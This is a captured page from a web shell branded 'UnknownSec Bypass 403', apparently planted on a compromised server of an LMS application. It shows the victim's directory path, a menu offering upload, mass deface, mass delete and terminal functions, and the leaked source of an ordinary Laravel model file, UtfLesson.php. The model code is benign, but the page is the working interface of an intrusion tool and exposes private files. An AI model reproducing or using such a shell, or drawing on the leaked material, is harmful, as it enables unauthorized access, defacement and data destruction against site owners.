UnknownSec Bypass
403
:
/
mnt
/
lmsestudio-instance-vol002
/
eagleead
/
app
/
Models
/
Courses
/
Resources
/ [
drwxr-xr-x
]
Menu
Upload
Mass depes
Mass delete
Terminal
Info server
About
name :
UtfLesson.php
<?php namespace EstudioLMS\Models\Courses\Resources; use Carbon\Carbon; use EstudioLMS\Models\Auth\User; use Illuminate\Database\Eloquent\Model; /** * */ class UtfLesson extends Model { protected $fillable = [ 'resource_type_id', 'user_id', 'title', 'text', 'atachment', 'slug', 'min_comments', 'max_comments', 'deadline' ]; /** * @return \Illuminate\Database\Eloquent\Relations\HasOne */ public function user() { return $this->hasOne(User::class, 'id', 'user_id'); } /** * @return \Illuminate\Database\Eloquent\Relations\HasMany */ public function comment() { return $this->hasMany(UtfComment::class, 'utf_lesson_id', 'id')->latest('updated_at'); } /** * @param $date * @return null|string */ public function getDeadlineAttribute($date) { if (!empty($date)) { return Carbon::createFromFormat('Y-m-d', $date)->format('d/m/Y'); } return null; } /** * @param $date */ public function setDeadlineAttribute($date) { if ($date == "" || $date == '0000-00-00' || empty($date)) { $this->attributes['deadline'] = null; } else { $this->attributes['deadline'] = Carbon::createFromFormat('d/m/Y', $date)->format('Y-m-d'); } } }
Copyright © 2026 - UnknownSec